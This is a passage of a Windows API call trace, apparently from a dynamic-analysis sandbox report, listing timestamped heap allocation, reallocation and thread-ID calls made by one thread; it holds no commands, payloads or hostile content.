hHeap=0x2ad0000) returned 1 [0075.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c840f8 | out: hHeap=0x2ad0000) returned 1 [0075.408] GetCurrentThreadId () returned 0x9b0 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x32c6e68 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c840f8 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.408] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab960, Size=0x14) returned 0x2ba8320 [0075.408] GetCurrentThreadId () returned 0x9b0 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e4c58 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e72a0 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ba83c0 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84308 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.409] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab9b0, Size=0x14) returned 0x2ba8420 [0075.409] GetCurrentThreadId () returned 0x9b0 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de848 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0075.409] GetCurrentThreadId () returned 0x9b0 [0075.409] GetCurrentThreadId () returned 0x9b0 [0075.409] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de8f0, Size=0x14) returned 0x2ba80a0 [0075.410] GetCurrentThreadId () returned 0x9b0 [0075.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ba82a0 [0075.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.411] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab9b0, Size=0x14) returned 0x2ba8140 [0075.411] GetCurrentThreadId () returned 0x9b0 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab960 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028490 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba20 [0075.411] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32ab9b0, Size=0x14) returned 0x2ba8160 [0075.411] GetCurrentThreadId () returned 0x9b0 [0075.411] GetCurrentThreadId () returned 0x9b0 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e75b0 [0075.411] GetCurrentThreadId () returned 0x9b0 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842a8 [0075.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84230 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.412] GetCurrentThreadId () returned 0x9b0 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84200, Size=0x20) returned 0x3028490 [0075.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a18ea8 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84368 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a19b98 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0b70 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] GetCurrentThreadId () returned 0x9b0 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba60 [0075.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abab0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e8810 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84350 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.414] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] GetCurrentThreadId () returned 0x9b0 [0075.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb40 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.416] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842a8 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84140 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.417] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84398, Size=0x20) returned 0x30281c0 [0075.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.417] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb00 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbc0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.418] GetCurrentThreadId () returned 0x9b0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c843e0, Size=0x20) returned 0x3028490 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a18cb0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18cb0, Size=0x64) returned 0x2a19a48 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19a48, Size=0x8c) returned 0x2ac0580 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0580, Size=0xb8) returned 0x2cdeae8 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdeae8, Size=0xe8) returned 0x3259f40 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.419] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3259f40, Size=0x120) returned 0x2c374c0 [0075.419] GetCurrentThreadId () returned 0x9b0 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x2ba7a48 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30283c8 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e81f0 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84368 [0075.420] GetCurrentThreadId () returned 0x9b0 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84218 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84188, Size=0x20) returned 0x3028238 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84368 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84170 [0075.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.421] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbe0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84218 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb00 [0075.422] GetCurrentThreadId () returned 0x9b0 [0075.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19178 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abbc0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c840f8 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] GetCurrentThreadId () returned 0x9b0 [0075.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abae0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84338, Size=0x20) returned 0x30283f0 [0075.424] GetCurrentThreadId () returned 0x9b0 [0075.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18f80 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0c08 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] GetCurrentThreadId () returned 0x9b0 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84368 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84230 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.426] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84140 [0075.426] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028938, Size=0x1f8) returned 0x2c305a0 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c305a0, Size=0x250) returned 0x2ac3d58 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84230 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84110 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb40 [0075.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183ba0 [0075.427] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32dd788 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e81f0 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.428] GetCurrentThreadId () returned 0x9b0 [0075.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 